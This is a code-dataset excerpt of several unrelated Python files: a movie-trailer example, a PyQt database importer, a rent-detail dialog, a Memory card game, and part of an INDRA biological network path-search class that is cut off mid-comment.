\t\tsetattr(self,a,v)\n return self\n","sub_path":"py_modules/attrcopy.py","file_name":"attrcopy.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"152229569","text":"import media\n\navatar = media.Movie(\"Avatar\", \"Storyline\", \"poster url\", \"trailer url\")\nprint(avatar.storyline)\n\nmyFav = media.Movie(\"Social Network\", \"Facebook founding\",\n \"https://upload.wikimedia.org/wikipedia/en/7/7a/Social_network_film_poster.jpg\",\n \"https://www.youtube.com/watch?v=2RB3edZyeYw\")\n\nmyFav.show_trailer()\n","sub_path":"src/entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"356731135","text":"\"\"\"\nImporters to SME DB from different formats.\n\n\"\"\"\nimport sqlite3\nfrom PyQt4 import QtCore, QtGui\n\n\nclass DBImporter(QtCore.QThread):\n\t\"\"\"\n\tAbstarct class for importers.\n\t\n\t\"\"\"\n\n\tdef DBimport(self, dest_filename, source_filename):\n\t\t\"\"\"\n\t\tImport data.\n\t\t\"\"\"\t\n\t\tself._source_filename = source_filename\n\t\tself._dest_filename = dest_filename\n\t\t\n\t\tself.start()\n\t\n\nclass GSDBImporter(DBImporter):\n\t\"\"\"\n\tImporter from Gastroscan DB to SME DB.\n\t\n\t\"\"\"\n\t\n\tdef run(self):\n\t\t\"\"\"\n\t\tRe-defined method for threading\n\t\t\n\t\t\"\"\"\n\t\t\n\t\tself._dconn = sqlite3.connect(self._dest_filename)\n\t\tself._sconn = sqlite3.connect(self._source_filename)\n\t\t\n\t\tself._dest_c = self._dconn.cursor()\n\t\tself._src_c = self._sconn.cursor()\n\t\t\n\t\tres = self._src_c.execute('select name, diagnosis, age, sex, date, signal, edited from record as r, waveform as w where r.id = w.record_id;')\n\t\texam_id, meas_id = self._get_last_ids()\n\t\tind = []\n\t\tt = []\n\t\tfor r in res:\n\t\t\tif self._form_examination(r, t, ind):\n\t\t\t\texam_id, meas_id = self._insert_examination(t, ind, exam_id, meas_id)\n\t\t\t\tt = []\n\t\t\t\tind = []\n\t\t\t\tt.append(r)\n\t\t\t\tind.append(1)\n\t\tself._insert_examination(t, ind, exam_id, meas_id)\n\t\tself._dconn.commit()\n\t\t\n\t\tself._sconn.close()\n\t\tself._dconn.close()\n\t\t\n\tdef _get_last_ids(self):\n\t\t\"\"\"\n\t\tGet during (last) measurement's and examination's id.\n\t\t\n\t\t\"\"\"\n\t\texam_id = list(self._dest_c.execute('select max(exam_id) from examination;'))[0][0]\n\t\tmeas_id = list(self._dest_c.execute('select max(meas_id) from measurement;'))[0][0]\n\t\tif not exam_id:\n\t\t\texam_id = 0\n\t\tif not meas_id:\n\t\t\tmeas_id = 0\n\t\treturn (exam_id, meas_id)\n\n\tdef _insert_examination(self, t, ind, exam_id, meas_id):\n\t\t\"\"\"\n\t\tInsert examination to destination DB. Data takes from temprorary lists t and ind.\n\t\t\n\t\t\"\"\"\n\t\tdt = 0.5\n\t\tself._dest_c.execute('insert into examination (name, diagnosis, age, gender) values (?,?,?,?);',(t[0][0],t[0][1],t[0][2],t[0][3]))\n\t\texam_id += 1\n\t\tmeas_id += 1\n\t\tself._dest_c.execute('insert into measurement(time, exam_id) values (?,?)',(t[0][4],exam_id))\n\t\tself._dest_c.execute('insert into signal(data, dt, edited,meas_id) values(?,?,?,?)',(t[0][5], dt, t[0][6],meas_id)) \n\t\tif 2 in ind:\n\t\t\tself._dest_c.execute('insert into signal(data, dt, edited,meas_id) values(?,?,?,?)',(t[ind.index(2)][5], dt, t[ind.index(2)][6],meas_id)) \n\t\tif 3 in ind:\n\t\t\tself._dest_c.execute('insert into measurement(time, exam_id) values (?,?)',(t[ind.index(3)][4],exam_id))\n\t\t\tmeas_id += 1\n\t\t\tself._dest_c.execute('insert into signal(data, dt, edited,meas_id) values(?,?,?,?)',(t[ind.index(3)][5], dt, t[ind.index(3)][6],meas_id)) \n\t\tif 4 in ind:\n\t\t\tself._dest_c.execute('insert into signal(data, dt, edited,meas_id) values(?,?,?,?)',(t[ind.index(4)][5], dt, t[ind.index(4)][6],meas_id)) \n\t\treturn (exam_id, meas_id)\n\n\tdef _form_examination(self, r, t, ind):\n\t\t\"\"\"\n\t\tForm temprorary lists t and ind.\n\t\t\n\t\t\"\"\"\n\t\tif len(t) == 0:\n\t\t\tt.append(r)\n\t\t\tind.append(1)\n\t\telse:\n\t\t\tif t[-1][0] == r[0] and t[-1][2] == r[2] and t[-1][3] == r[3] and t[-1][4][:9] == r[4][:9]:\n\t\t\t\tif ind[-1] == 1 and t[-1][4] == r[4]:\n\t\t\t\t\tind.append(2)\n\t\t\t\telif ind[-1] == 1 or ind[-1] == 2:\n\t\t\t\t\tind.append(3)\n\t\t\t\telif ind[-1] == 3:\n\t\t\t\t\tind.append(4)\n\t\t\t\tt.append(r)\n\t\t\t\treturn False\n\t\t\telse:\n\t\t\t\treturn True\n\nclass SMEDBImporter(DBImporter):\n\t\"\"\"\n\tImporter from SME DB to SME DB.\n\t\n\t\"\"\"\n\n\tdef run(self):\n\t\t\"\"\"\n\t\tRe-defined method for threading\n\n\t\t\"\"\"\n\t\tself._dconn = sqlite3.connect(self._dest_filename)\n\t\tself._sconn = sqlite3.connect(self._source_filename)\n\t\t\n\t\tself._dest_c = self._dconn.cursor()\n\t\tself._src_c = self._sconn.cursor()\n\t\tself._dest_c.execute(\"attach database ? as 'source';\", (self._source_filename,))\n\t\tscript = open('DBImport/SMEDBImporter.sql', 'r').read()\n\t\tself._dest_c.executescript(script)\n\t\tself._dest_c.execute(\"detach database source;\")\n\t\tself._dest_c.execute('drop table variable;')\n\t\tself._dconn.commit()\n\t\t\n\t\tself._sconn.close()\n\t\tself._dconn.close()\n\n","sub_path":"DBImport.py","file_name":"DBImport.py","file_ext":"py","file_size_in_byte":3898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"419354807","text":"from PyQt5 import QtCore\nfrom PyQt5.QtWidgets import QVBoxLayout, QHBoxLayout, QGridLayout\n\nfrom database.database import PyDB\nfrom widgets.dialogs import JDialog\nfrom widgets.widgets import LabelledLineEditRO, LabelledDateEditRO, InfoLabel, JCancelButton\n\n\nclass ExternalRentDialog(JDialog):\n def __init__(self, rentcode, parent=None):\n super().__init__(parent)\n\n self.setWindowTitle(\"External rent\")\n\n self.dbHandler = PyDB.dbHandler\n\n self.rentcode = rentcode\n\n self.resize(1050, 600)\n\n self.vertMain = QVBoxLayout(self)\n self.gridDetails = QGridLayout()\n self.horiButtons = QHBoxLayout()\n\n self.vertMain.setSpacing(25)\n self.gridDetails.setSpacing(17)\n\n self.lInfo = InfoLabel(\"External rent {}\".format(self.rentcode), self)\n\n self.lRentCode = LabelledLineEditRO(\"Rent code:\", self)\n self.lManager = LabelledLineEditRO(\"Manager:\", self)\n self.lSource = LabelledLineEditRO(\"Source:\", self)\n self.lLandlord = LabelledLineEditRO(\"Landlord:\", self)\n self.lTenure = LabelledLineEditRO(\"Tenure:\", self)\n self.lAddress = LabelledLineEditRO(\"Address:\", self)\n self.lTenantName = LabelledLineEditRO(\"Tenant name:\", self)\n self.lRent = LabelledLineEditRO(\"Rent:\", self)\n self.lArrears = LabelledLineEditRO(\"Arrears:\", self)\n self.deLastRentDate = LabelledDateEditRO(\"Last rent date:\", self)\n self.lStatus = LabelledLineEditRO(\"Status:\", self)\n self.lAgentDetails = LabelledLineEditRO(\"Agent details:\", self)\n self.lManagerDetails = LabelledLineEditRO(\"Manager details:\", self)\n\n self.btnAccept = JCancelButton(\"Close\", self)\n\n self.horiButtons.addWidget(self.btnAccept)\n\n self.gridDetails.addWidget(self.lRentCode, 0, 0, 1, 1)\n self.gridDetails.addWidget(self.lSource, 0, 1, 1, 1)\n self.gridDetails.addWidget(self.lManager, 0, 2, 1, 1)\n self.gridDetails.addWidget(self.lAgentDetails, 0, 3, 1, 1)\n self.gridDetails.addWidget(self.lLandlord, 1, 0, 1, 1)\n self.gridDetails.addWidget(self.lTenure, 1, 1, 1, 1)\n self.gridDetails.addWidget(self.lTenantName, 1, 2, 1, 3)\n self.gridDetails.addWidget(self.lAddress, 2, 0, 1, 4)\n self.gridDetails.addWidget(self.lRent, 3, 0, 1, 1)\n self.gridDetails.addWidget(self.lArrears, 3, 1, 1, 1)\n self.gridDetails.addWidget(self.deLastRentDate, 3, 2, 1, 1)\n self.gridDetails.addWidget(self.lStatus, 3, 3, 1, 1)\n self.gridDetails.addWidget(self.lManagerDetails, 4, 0, 1, 4)\n\n self.vertMain.addWidget(self.lInfo)\n self.vertMain.addLayout(self.gridDetails)\n self.vertMain.addLayout(self.horiButtons)\n\n self.vertMain.setAlignment(self.lInfo, QtCore.Qt.AlignHCenter)\n\n self.btnAccept.clicked.connect(self.accept)\n\n self.populate()\n\n def populate(self):\n info = self.dbHandler.bufferedExecute(\"\"\"SELECT a.RentCode, a.Manager, a.Source, a.Landlord, a.Tenure, a.PropAddress, a.TenantName,\n a.Rent, a.Arrears, a.LastRentDate, a.Status, a.AgentDetails, b.ManagerDetails\n FROM rents_external a\n LEFT JOIN managers b\n ON a.Manager = b.ManagerCode\n WHERE a.RentCode = %s \"\"\", (self.rentcode,))[0]\n\n self.lRentCode.setText(info[0])\n self.lManager.setText(info[1])\n self.lSource.setText(info[2])\n self.lLandlord.setText(info[3])\n self.lTenure.setText(info[4])\n self.lAddress.setText(info[5])\n self.lTenantName.setText(info[6])\n self.lRent.setText(\"£%.2f\" % info[7])\n self.lArrears.setText(\"£%.2f\" % info[8])\n self.deLastRentDate.setDate(info[9])\n self.lStatus.setText(info[10])\n self.lAgentDetails.setText(info[11])\n self.lManagerDetails.setText(info[12])\n","sub_path":"rents/externalrentdialog.py","file_name":"externalrentdialog.py","file_ext":"py","file_size_in_byte":4029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"423104582","text":"# implementation of card game - Memory\n\nimport simplegui\nimport random\n\nWIDTH = 800\nHEIGHT = 600\n\ndef inittable(r,c): # remember: don't put more that 102 cells\n global ROWS, COLS, TILE_W, TILE_H\n ROWS, COLS = r,c\n TILE_W = WIDTH//COLS\n TILE_H = HEIGHT//ROWS\n\ncards = [] # all cards\nexposed = [] # bool flag on which cards are opened\ncurrent = [] # up to 2 cards opened\nwin = False\n\n# helper function to initialize globals\ndef init():\n global cards, exposed, current, moves, win\n # get all unique numbers, shuffle and take some first\n cards = range(52)\n random.shuffle(cards)\n cards = cards[:ROWS*COLS//2]\n # double it (all have pairs now)\n cards.extend(list(cards))\n random.shuffle(cards)\n exposed = [False for i in range(ROWS*COLS)]\n current = []\n moves = 0\n win = False\n \ndef init_easy():\n inittable(2,4)\n init()\n \ndef init_med():\n inittable(4,6)\n init()\n \ndef init_hard():\n inittable(6,14)\n init()\n \n# define event handlers\ndef mouseclick(pos):\n global current, moves, win\n col, row = pos[0]//TILE_W , pos[1]//TILE_H\n ind = row*COLS + col\n if exposed[ind]: # always ignore exposed\n return\n moves += 1\n exposed[ind] = True # open currenly clicked card\n if len(current) == 2: # if 2 cards were opened, close them\n exposed[current[0]] = exposed[current[1]] = False\n current = [ind]\n elif len(current) == 1: # 1 card exposed\n if cards[ind] == cards[current[0]]: # guessed pair!\n current = []\n if exposed.count(False) == 0:\n win = True\n else:\n current.append(ind)\n else: # no current pair\n current.append(ind)\n \ndef draw(canvas):\n global win\n lab1.set_text(\"Moves: \"+str(moves))\n for y in range(ROWS):\n for x in range(COLS):\n ind = y*COLS+x # index in global lists\n coord = (TILE_W*x+TILE_W//2,TILE_H*y+TILE_H//2) # screen coord to draw at\n # just draw each tile\n if exposed[ind]:\n card = cards[ind]\n c_col, c_row = card % 13 , card // 13\n canvas.draw_image(cards_image, \\\n ( c_col*card_w+card_w//2 , c_row*card_h+card_h//2),\n (card_w,card_h), coord, (TILE_W,TILE_H) )\n else:\n canvas.draw_image(back_image, ( back_w//2 , back_h//2), \\\n (back_w,back_h), coord, (TILE_W,TILE_H) )\n if win:\n canvas.draw_text(\"Awesome!\", [WIDTH//10,HEIGHT//2+HEIGHT//12] , HEIGHT//6, \"blue\")\n\n# create frame and add a button and labels\nframe = simplegui.create_frame(\"Memory\", WIDTH, HEIGHT)\nframe.add_button(\"Restart\", init, 150)\nframe.add_label(\"\")\nframe.add_button(\"For kids (4x2)\", init_easy, 150)\nframe.add_button(\"Normal (6x4)\", init_med, 150)\nframe.add_button(\"For maniacs (14x6)\", init_hard, 150)\nframe.add_label(\"\")\nlab1=frame.add_label(\"\")\n\n# load resources\nback_image = simplegui.load_image(\"http://upload.wikimedia.org/wikipedia/en/2/26/RiceU_BlueSealLogo.png\")\nback_w, back_h = 150 , 179\n \ncards_image = simplegui.load_image(\"http://www.milefoot.com/math/discrete/counting/images/cards.png\")\ncard_w, card_h = 73 , 98\n\n# initialize global variables\ninittable(4,6)\ninit()\n\n# register event handlers\nframe.set_mouseclick_handler(mouseclick)\nframe.set_draw_handler(draw)\n\n# get things rolling\nframe.start()\n\n","sub_path":"Coursera/Ejemplos/Memory/Memory_2.py","file_name":"Memory_2.py","file_ext":"py","file_size_in_byte":3413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"139554376","text":"import logging\nimport requests\nimport networkx as nx\nfrom itertools import product\nfrom collections import defaultdict\nfrom time import time, gmtime, strftime\nfrom networkx import NodeNotFound, NetworkXNoPath\n\nfrom indra.config import CONFIG_DICT\n\nfrom depmap_analysis.network_functions import famplex_functions as ff\nfrom depmap_analysis.network_functions import net_functions as nf\n\nlogger = logging.getLogger('indra network')\n\nGRND_URI = None\ntry:\n GRND_URI = CONFIG_DICT['INDRA_GROUNDING_SERVICE_URL']\nexcept KeyError:\n logger.warning('Indra Grounding service not available. Add '\n 'INDRA_GROUNDING_SERVICE_URL to `indra/config.ini`')\n\nMAX_PATHS = 50\nTIMEOUT = 30 # Timeout in seconds\nMIN_TIMEOUT = 2\nMAX_TIMEOUT = 120\n\n\nclass IndraNetwork:\n \"\"\"Handle searches and graph output of the INDRA DB network\"\"\"\n def __init__(self, indra_dir_graph=nx.DiGraph(),\n indra_multi_dir_graph=nx.MultiDiGraph()):\n self.nx_dir_graph_repr = indra_dir_graph\n self.nx_md_graph_repr = indra_multi_dir_graph\n self.nodes = self.nx_dir_graph_repr.nodes\n self.dir_edges = indra_dir_graph.edges\n self.mdg_edges = indra_multi_dir_graph.edges\n self.ehm = indra_dir_graph.graph.get('entity_hierarchy_manager', None)\n self.node_by_uri = indra_dir_graph.graph.get('node_by_uri', None)\n self.MAX_PATHS = MAX_PATHS\n self.TIMEOUT = TIMEOUT\n self.small = False\n self.verbose = 0\n self.query_recieve_time = 0.0\n self.query_timed_out = False\n\n def handle_query(self, **kwargs):\n \"\"\"Handles path query from client. Returns query result.\n\n The query is a json-friendly key-value structure contained in kwargs\n with the following parameters:\n\n (Note that parameters that are not yet implemented are not mandatory\n and have no effect on the path search if provided)\n\n Parameters\n ----------\n source: str\n the source node for the path\n target: str\n the target for the path\n stmt_filter: [str]\n a list of valid indra statement types or FamPlex child-parent\n connections (as 'fplx') *to exclude* in the path\n node_filter: [str]\n a list of node namespaces *to include* in the path\n node_blacklist: [str]\n a list of node names to ignore. If a path contains a node in this\n list, the path will be discarded.\n edge_hash_blacklist: [str/int]\n a list of statement hashes (as strings or ints) to ignore. If an\n edge statement hash is found in this list, it will be discarded\n from the assembled edge list.\n cull_best_node: [int]\n a positive integer. Every x valid paths, cull the node with the\n highest (weighted) degree from the network. This increases the\n variety of paths found and reduces the impact of nodes with\n extremely high connectivity in the network.\n path_length: int|False\n a positive integer stating the number of edges that should be in\n the returned path. If False, return paths with any number of edges.\n sign: str ['no_sign'|'plus'|'minus'] **currently not implemented**\n Placeholder for future implementation of path searches in signed\n graphs\n weighted: Bool\n If True, do a weighted path search. Weights in the network are\n assigned as -log(belief score)\n bsco: 0 <= float <= 1.0\n Belief Score Cut-Off, a positive decimal number < 1.0 indicating\n at what belief score an edge statement should be ignored\n direct_only: Bool **currently not implemented**\n Placeholder for future implementation of allowing to filter edges\n on the annotation 'direct' in indra statements\n curated_db_only: Bool\n Filter results to only allow edges that are sourced from curated\n databases\n fplx_expand: Bool\n If True, when no path is found in the initial search, look for\n paths between the parents of the source and target\n k_shortest: Bool|int\n An integer stating the maximum number of directed paths to return\n in the result. The maximum allowed value is 50. If False,\n the maximum number of paths returned will be set to the maximum\n allowed value.\n user_timeout : float\n A decimal specifying the number of seconds to use for timeout. If\n not provided, the default of 30 seconds is used.\n two_way: Bool\n If True, search path both ways, i.e. search A->B and B->A\n\n Returns\n -------\n result : dict('paths_by_node_count'={ksp_forward, ksp_backward},\n 'common_targets'=ct,\n 'common_parents'=cp)\n A dict containing the results from each path search and a flag\n for timeout:\n ksp_forward : dict(int)\n Dict keyed by node count with the results of directed path\n search from source to target\n ksp_backward : dict(int)\n Dict keyed by node count with the results of directed path\n search from target to source\n ct : dict('target')\n List of dicts keyed by common target name, sorted on highest\n lowest belief score\n cp : dict\n Dict with result of common parents search together with the\n ns:id pairs used to resolve the query\n timeout : Bool\n True if the query timed out\n \"\"\"\n self.query_recieve_time = time()\n self.query_timed_out = False\n logger.info('Query received at %s' %\n strftime('%Y-%m-%d %H:%M:%S (UTC)',\n gmtime(self.query_recieve_time)))\n if not self.sanity_check(**kwargs):\n return {'paths_by_node_count': {'forward': {}, 'backward': {}},\n 'common_targets': [],\n 'common_parents': {},\n 'timeout': False}\n mandatory = ['source', 'target', 'stmt_filter', 'node_filter',\n 'path_length', 'weighted', 'bsco', 'fplx_expand',\n 'k_shortest', 'curated_db_only', 'two_way']\n if not all([key in kwargs for key in mandatory]):\n miss = [key in kwargs for key in mandatory].index(False)\n raise KeyError('Missing mandatory parameter \"%s\"' % mandatory[miss])\n options = {k: v for k, v in kwargs.items() # Handled below\n if k not in ['sign', 'weighted']}\n for k, v in kwargs.items():\n if k == 'weighted':\n logger.info('Doing %sweighted path search' % 'un' if not v\n else '')\n options['weight'] = 'weight' if v else None\n if k == 'sign':\n options[k] = 1 if v == 'plus' \\\n else (-1 if v == 'minus' else 0)\n if k == 'edge_hash_blacklist' and options.get(k) and \\\n isinstance(options[k][0], int):\n options[k] = [str(i) for i in options[k]]\n if k in ['node_filter', 'stmt_filter']:\n options[k] = [s.lower() for s in options[k]]\n if k == \"cull_best_node\":\n options[k] = int(v) if v >= 1 else float('NaN')\n k_shortest = kwargs.pop('k_shortest', None)\n self.MAX_PATHS = k_shortest if k_shortest else MAX_PATHS\n user_timeout = kwargs.pop('user_timeout', None)\n if user_timeout:\n if user_timeout < MIN_TIMEOUT:\n logger.warning('Resetting timeout to minimum value (%d)' %\n MIN_TIMEOUT)\n self.TIMEOUT = MIN_TIMEOUT\n elif user_timeout > MAX_TIMEOUT:\n logger.warning('Resetting timeout to maximum value (%d)' %\n MAX_TIMEOUT)\n self.TIMEOUT = MAX_TIMEOUT\n else:\n self.TIMEOUT = user_timeout\n else:\n self.TIMEOUT = TIMEOUT\n logger.info('Query translated to: %s' % repr(options))\n logger.info('Looking for no more than %d paths' % self.MAX_PATHS)\n\n ksp_backward = {}\n boptions = options.copy()\n boptions['source'] = options['target']\n boptions['target'] = options['source']\n\n # Special case: 1 or 2 unweighted edges only\n if not options['weight'] and options['path_length'] in [1, 2]:\n ksp_forward = self._unweighted_direct(**options)\n if options['two_way']:\n ksp_backward = self._unweighted_direct(**boptions)\n else:\n ksp_forward = self.find_shortest_paths(**options)\n if options['two_way']:\n ksp_backward = self.find_shortest_paths(**boptions)\n if not ksp_forward and not ksp_backward:\n ckwargs = options.copy()\n bckwargs = boptions.copy()\n if kwargs['fplx_expand']:\n\n logger.info('No directed path found, looking for paths '\n 'connected by common parents of source and/or '\n 'target')\n ksp_forward = self.try_parents(**ckwargs)\n if options['two_way']:\n ksp_backward = self.try_parents(**bckwargs)\n if self.verbose > 2:\n logger.info('Parents search result: %s' % repr(ksp_forward))\n\n if not ksp_forward and not ksp_backward and GRND_URI:\n ksp_forward = self.grounding_fallback(**ckwargs)\n if options['two_way']:\n ksp_backward = self.grounding_fallback(**bckwargs)\n if not ksp_forward and not ksp_backward:\n logger.info('No directed path found')\n if not options['weight']:\n if ksp_forward:\n # Sort the results in ksp_forward if non-weighted search\n ksp_forward = self._sort_stmts(ksp_forward)\n if ksp_backward:\n # Sort the results in ksp_forward if non-weighted search\n ksp_backward = self._sort_stmts(ksp_backward)\n ct = self.find_common_targets(**options)\n cp = self.get_common_parents(**options)\n return {'paths_by_node_count': {'forward': ksp_forward,\n 'backward': ksp_backward},\n 'common_targets': ct,\n 'common_parents': cp,\n 'timeout': self.query_timed_out}\n\n @staticmethod\n def sanity_check(**options):\n \"\"\"Checks for some possible gotchas in query\"\"\"\n # Check for test\n if options.get('test', False):\n logger.info('Query handling test passed')\n return False\n # Check non-resolving query\n sns, sid = nf.ns_id_from_name(options['source'])\n tns, tid = nf.ns_id_from_name(options['target'])\n if (sns and sns.lower() not in options['node_filter']) or \\\n (tns and tns.lower() not in options['node_filter']):\n if sns.lower() not in options['node_filter']:\n logger.warning('%s not among accepted nodes' % sns)\n if tns.lower() not in options['node_filter']:\n logger.warning('%s not among accepted nodes' % tns)\n return False\n\n return True\n\n def grounding_fallback(self, **ckwargs):\n \"\"\"Retry search with alternative names found by grounding service\"\"\"\n if self.verbose:\n logger.info('Expanding search using grounding service')\n org_source = ckwargs['source']\n org_target = ckwargs['target']\n\n # ToDo establish grounding priority when scores are equal between\n # groundings\n\n # Get groundings\n src_groundings = requests.post(GRND_URI,\n json={'text': org_source}).json()\n trgt_groundings = requests.post(GRND_URI,\n json={'text': org_target}).json()\n\n # Loop combinations of source and target groundings, break if\n # anything found\n\n # org target with sources (ckwargs['target'] is unaltered here)\n if src_groundings and not trgt_groundings:\n for src in src_groundings:\n if src['term']['entry_name'] == org_source:\n continue\n ckwargs['source'] = src['term']['entry_name']\n ksp = self.find_shortest_paths(**ckwargs)\n if ksp:\n return ksp\n\n # org source with targets\n if not src_groundings and trgt_groundings:\n ckwargs['source'] = org_source\n for trgt in trgt_groundings:\n if trgt['term']['entry_name'] == org_target:\n continue\n ckwargs['target'] = trgt['term']['entry_name']\n ksp = self.find_shortest_paths(**ckwargs)\n if ksp:\n return ksp\n\n # all source groundings with all target groundings\n if src_groundings and trgt_groundings:\n for src, trgt in product(src_groundings, trgt_groundings):\n if trgt['term']['entry_name'] == org_target and \\\n src['term']['entry_name'] == org_source:\n continue\n ckwargs['source'] = src['term']['entry_name']\n ckwargs['target'] = trgt['term']['entry_name']\n ksp = self.find_shortest_paths(**ckwargs)\n if ksp:\n return ksp\n\n if self.verbose:\n if not src_groundings and not trgt_groundings:\n logger.info('No groundings for source or target')\n else:\n logger.info('No paths found between grounding alternatives')\n return {}\n\n def try_parents(self, **ckwargs):\n \"\"\"Retry search with sources' and targets' parents\n\n Search for paths between combinations of the parents of source and\n target.\n \"\"\"\n source = ckwargs['source']\n target = ckwargs['target']\n\n if self.verbose > 1:\n logger.info('Parents search: source=%s, target=%s' %\n (ckwargs['source'], ckwargs['target']))\n\n # Get closures for source and target\n source_parents = self._get_parents(source)\n target_parents = self._get_parents(target)\n if self.verbose > 3:\n logger.info('Got source_parents: %s' %\n repr(source_parents))\n logger.info('Got target_parents: %s' %\n repr(target_parents))\n\n # First try current source with all target parents\n if target_parents and not source_parents:\n for tp_uri in target_parents:\n ckwargs['target'] = self.node_by_uri[tp_uri]\n if self.verbose > 4:\n logger.info('Parents search: source=%s, target=%s' %\n (ckwargs['source'], ckwargs['target']))\n ksp = self.find_shortest_paths(**ckwargs)\n if ksp:\n return ksp\n\n # Then, try current target with all source parents\n if source_parents and not target_parents:\n for sp_uri in source_parents:\n ckwargs['source'] = self.node_by_uri[sp_uri]\n if self.verbose > 4:\n logger.info('Parents search: source=%s, target=%s' %\n (ckwargs['source'], ckwargs['target']))\n ksp = self.find_shortest_paths(**ckwargs)\n if ksp:\n return ksp\n\n # Lastly try all possible pairs of source and target parents\n if source_parents and target_parents:\n for sp_uri, tp_uri in product(source_parents,\n target_parents):\n ckwargs['source'] = self.node_by_uri[sp_uri]\n ckwargs['target'] = self.node_by_uri[tp_uri]\n if self.verbose > 4:\n logger.info('Parents search: source=%s, target=%s' %\n (ckwargs['source'], ckwargs['target']))\n ksp = self.find_shortest_paths(**ckwargs)\n if ksp:\n return ksp\n\n # If we get this far, no path was found\n return {}\n\n def find_shortest_path(self, source, target, **options):\n \"\"\"Returns a list of nodes representing a shortest path\"\"\"\n try:\n return self._loop_paths(nx.shortest_path(\n self.nx_dir_graph_repr, source, target, options['weight']),\n **options)\n except NodeNotFound or NetworkXNoPath:\n return {}\n\n def _unweighted_direct(self, **options):\n logger.info('Doing unweighted path saerch for %d-edge paths' %\n options['path_length'])\n if options['path_length'] == 1:\n return self._one_edge_path(**options)\n elif options['path_length'] == 2:\n return self._two_edge_path(**options)\n return {}\n\n def _one_edge_path(self, source, target, **options):\n print('function _one_edge_path')\n res = {}\n if self.dir_edges.get((source, target), None):\n if self.verbose > 1:\n logger.info('Found direct path from %s to %s' %\n (source, target))\n path = [source, target]\n hash_path = self._get_hash_path([source, target], **options)\n if hash_path and all(hash_path):\n pd = {'stmts': hash_path,\n 'path': path,\n 'cost': str(self._get_cost(path)),\n 'sort_key': str(self._get_sort_key(path, hash_path))}\n res = {2: [pd]}\n return res\n\n def _two_edge_path(self, source, target, **options):\n\n def _paths_genr(s, t, imts, ign_nodes, ign_edges):\n for i in imts:\n if i not in ign_nodes:\n yield [s, i, t]\n else:\n continue\n\n # Loop the set of all intermediate nodes\n ignores_nodes = options['node_blacklist']\n ignores_edges = options['edge_hash_blacklist']\n intermediates = set(self.nx_dir_graph_repr.succ[source]) & \\\n set(self.nx_dir_graph_repr.pred[target])\n paths_gen = _paths_genr(source, target, intermediates, ignores_nodes,\n ignores_edges)\n res = defaultdict(list)\n added_paths = 0\n for path in paths_gen:\n if added_paths >= self.MAX_PATHS:\n logger.info('Found all %d shortest paths, returning results.' %\n self.MAX_PATHS)\n return res\n if time() - self.query_recieve_time > self.TIMEOUT:\n logger.info('Reached timeout (%d s) before finding all %d '\n 'paths. Returning search.' % (self.TIMEOUT,\n MAX_PATHS))\n self.query_timed_out = True\n return res\n hash_path = self._get_hash_path(path, **options)\n if hash_path and all(hash_path):\n if self.verbose > 1:\n logger.info('Adding stmts and path from %s to path list' %\n repr(hash_path))\n pd = {'stmts': hash_path,\n 'path': path,\n 'cost': str(self._get_cost(path)),\n 'sort_key': str(self._get_sort_key(path, hash_path))}\n res[3].append(pd)\n added_paths += 1\n return res\n\n def find_shortest_paths(self, source, target, **options):\n \"\"\"Returns a list of shortest paths in ascending order\"\"\"\n try:\n logger.info('Doing simple %s path search' % 'weigthed'\n if options['weight'] else '')\n blacklist_options = {}\n blacklist_options['ignore_nodes'] = options.get('node_blacklist',\n None)\n paths = nf.shortest_simple_paths(self.nx_dir_graph_repr,\n source, target, options['weight'],\n **blacklist_options)\n # paths = nx.all_shortest_paths(self.nx_md_graph_repr,\n # source, target, options['weight'])\n return self._loop_paths(paths, **options)\n except NodeNotFound as e:\n logger.warning(repr(e))\n return {}\n except NetworkXNoPath as e:\n logger.warning(repr(e))\n return {}\n\n def find_common_targets(self, source, target, **options):\n \"\"\"Returns a list of statement(?) pairs that explain common targets\n for source and target\"\"\"\n if source in self.nodes and target in self.nodes:\n source_succ = set(self.nx_dir_graph_repr.succ[source].keys())\n target_succ = set(self.nx_dir_graph_repr.succ[target].keys())\n common = source_succ & target_succ\n if common:\n try:\n return self._loop_common_targets(common_targets=common,\n source=source,\n target=target,\n **options)\n except NodeNotFound as e:\n logger.warning(repr(e))\n except NetworkXNoPath as e:\n logger.warning(repr(e))\n\n return []\n\n def _loop_common_targets(self, common_targets, source, target, **options):\n \"\"\"Order common_targets targets by lowest belief in pair.\"\"\"\n ordered_commons = []\n added_targets = 0\n for ct in common_targets:\n paths1 = self._get_hash_path(path=[source, ct], **options)\n paths2 = self._get_hash_path(path=[target, ct], **options)\n if paths1 and paths2 and paths1[0] and paths2[0]:\n paths1_stmts = []\n for k, v in paths1[0].items():\n if k not in {'subj', 'obj'}:\n paths1_stmts.extend(v)\n paths2_stmts = []\n for k, v in paths2[0].items():\n if k not in {'subj', 'obj'}:\n paths2_stmts.extend(v)\n max_belief1 = max([st['belief'] for st in paths1_stmts])\n max_belief2 = max([st['belief'] for st in paths2_stmts])\n ordered_commons.append({\n ct: [paths1, paths2],\n 'lowest_highest_belief': min(max_belief1, max_belief2)\n })\n added_targets += 1\n if added_targets >= self.MAX_PATHS:\n if self.verbose:\n logger.info('Max number of common targets reached. '\n 'Breaking loop')\n break\n if ordered_commons:\n return sorted(ordered_commons,\n key=lambda k: k['lowest_highest_belief'],\n reverse=True)\n else:\n return []\n\n def _loop_paths(self, paths_gen, **options):\n # len(path) = edge count + 1\n path_len = options['path_length'] + 1 if \\\n options['path_length'] and not options['weight'] else False\n result = defaultdict(list)\n prev_path = None\n added_paths = 0\n skipped_paths = 0\n culled_nodes = set()\n culled_edges = set() # Currently unused, only operate on node level\n while True:\n # Check if we found k paths\n if added_paths >= self.MAX_PATHS:\n logger.info('Found all %d shortest paths, returning results.' %\n self.MAX_PATHS)\n return result\n if time() - self.query_recieve_time > self.TIMEOUT:\n logger.info('Reached timeout (%d s) before finding all %d '\n 'shortest paths. Returning search.' %\n (self.TIMEOUT, MAX_PATHS))\n self.query_timed_out = True\n return result\n # Check if we have to cull the best node, this is the 